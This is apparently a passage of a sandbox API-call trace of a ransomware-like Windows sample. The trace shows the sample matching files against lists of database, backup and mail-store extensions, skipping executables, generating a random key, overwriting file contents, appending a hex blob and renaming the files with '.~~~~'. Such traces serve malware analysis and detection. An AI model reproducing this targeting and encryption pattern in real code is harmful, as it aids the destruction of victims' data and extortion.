	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.713] lstrlenW (lpString=".NDF") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.713] lstrlenW (lpString=".dat") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.713] lstrlenW (lpString=".DBS") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.713] lstrlenW (lpString=".CKP") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.713] lstrlenW (lpString=".edb") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.713] lstrlenW (lpString=".PST") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.713] lstrlenW (lpString=".dbf") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.713] lstrlenW (lpString=".SQL") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.713] lstrlenW (lpString=".pst") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.713] lstrlenW (lpString=".dbv") returned 4
	[0083.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.714] lstrlenW (lpString=".SDF") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.714] lstrlenW (lpString=".dtxs") returned 5
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.714] lstrlenW (lpString=".db3") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.714] lstrlenW (lpString=".OST") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.714] lstrlenW (lpString=".dbx") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.714] lstrlenW (lpString=".DB3") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.714] lstrlenW (lpString=".DAT") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.714] lstrlenW (lpString=".VHDX") returned 5
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.714] lstrlenW (lpString=".ndf") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.714] lstrlenW (lpString=".DB") returned 3
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.714] lstrlenW (lpString=".sql") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.714] lstrlenW (lpString=".MYD") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.714] lstrlenW (lpString=".DBT") returned 4
	[0083.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.715] lstrlenW (lpString=".ACCDB") returned 6
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.715] lstrlenW (lpString=".fdb") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.715] lstrlenW (lpString=".bak") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.715] lstrlenW (lpString=".myd") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.715] lstrlenW (lpString=".DTXS") returned 5
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.715] lstrlenW (lpString=".ckp") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.715] lstrlenW (lpString=".dbt") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.715] lstrlenW (lpString=".db") returned 3
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.715] lstrlenW (lpString=".TXT") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.715] lstrlenW (lpString=".MDF") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.715] lstrlenW (lpString=".bdb") returned 4
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.715] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.716] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.718] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.718] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0083.718] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20370835386) returned 1
	[0083.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bbccdd0, dwHighDateTime=0x1d60e1e)) 
	[0083.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9500
	[0083.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9500 | out: hHeap=0x300000) returned 1
	[0083.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aac40
	[0083.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aac40 | out: hHeap=0x300000) returned 1
	[0083.719] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.719] GetLastError () returned 0x0
	[0083.719] GetLastError () returned 0x0
	[0083.719] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.719] GetLastError () returned 0x0
	[0083.720] GetLastError () returned 0x0
	[0083.722] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff56f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.723] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0xa90c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0xa90c, lpOverlapped=0x0) returned 1
	[0083.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.723] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.723] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.723] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.723] CloseHandle (hObject=0x118) returned 1
	[0083.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0083.724] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.~~~~")) returned 1
	[0083.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0083.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.751] GetLastError () returned 0x0
	[0083.751] RtlWakeConditionVariable () returned 0x365f70
	[0083.751] GetCurrentThreadId () returned 0xaf0
	[0083.751] GetCurrentThreadId () returned 0xaf0
	[0083.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0083.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ca0 | out: hHeap=0x300000) returned 1
	[0083.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9490 | out: hHeap=0x300000) returned 1
	[0083.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0083.751] lstrlenW (lpString=".scr") returned 4
	[0083.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.751] lstrlenW (lpString=".cmd") returned 4
	[0083.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.751] lstrlenW (lpString=".dll") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.752] lstrlenW (lpString=".bat") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.752] lstrlenW (lpString=".cpl") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.752] lstrlenW (lpString=".sys") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.752] lstrlenW (lpString=".msc") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.752] lstrlenW (lpString=".com") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.752] lstrlenW (lpString=".lnk") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.752] lstrlenW (lpString=".msp") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.752] lstrlenW (lpString=".pif") returned 4
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.752] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.844] lstrlenW (lpString=".sqb") returned 4
	[0083.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.845] lstrlenW (lpString=".ost") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.845] lstrlenW (lpString=".txt") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.845] lstrlenW (lpString=".mdt") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.845] lstrlenW (lpString=".BDB") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.845] lstrlenW (lpString=".eql") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.845] lstrlenW (lpString=".DBF") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.845] lstrlenW (lpString=".EQL") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.845] lstrlenW (lpString=".FDB") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.845] lstrlenW (lpString=".EDB") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.845] lstrlenW (lpString=".DACPAC") returned 7
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.845] lstrlenW (lpString=".VHD") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.845] lstrlenW (lpString=".DBV") returned 4
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.845] lstrlenW (lpString=".dacpac") returned 7
	[0083.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.845] lstrlenW (lpString=".sdf") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.846] lstrlenW (lpString=".accdb") returned 6
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.846] lstrlenW (lpString=".DBX") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.846] lstrlenW (lpString=".MDT") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.846] lstrlenW (lpString=".SQB") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.846] lstrlenW (lpString=".vhd") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.846] lstrlenW (lpString=".bac") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.846] lstrlenW (lpString=".mdf") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.846] lstrlenW (lpString=".BAK") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.846] lstrlenW (lpString=".BAC") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.846] lstrlenW (lpString=".dbs") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.846] lstrlenW (lpString=".vhdx") returned 5
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.846] lstrlenW (lpString=".NDF") returned 4
	[0083.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.846] lstrlenW (lpString=".dat") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.847] lstrlenW (lpString=".DBS") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.847] lstrlenW (lpString=".CKP") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.847] lstrlenW (lpString=".edb") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.847] lstrlenW (lpString=".PST") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.847] lstrlenW (lpString=".dbf") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.847] lstrlenW (lpString=".SQL") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.847] lstrlenW (lpString=".pst") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.847] lstrlenW (lpString=".dbv") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.847] lstrlenW (lpString=".SDF") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.847] lstrlenW (lpString=".dtxs") returned 5
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.847] lstrlenW (lpString=".db3") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.847] lstrlenW (lpString=".OST") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.847] lstrlenW (lpString=".dbx") returned 4
	[0083.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.848] lstrlenW (lpString=".DB3") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.848] lstrlenW (lpString=".DAT") returned 4
	[0083.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.848] lstrlenW (lpString=".VHDX") returned 5
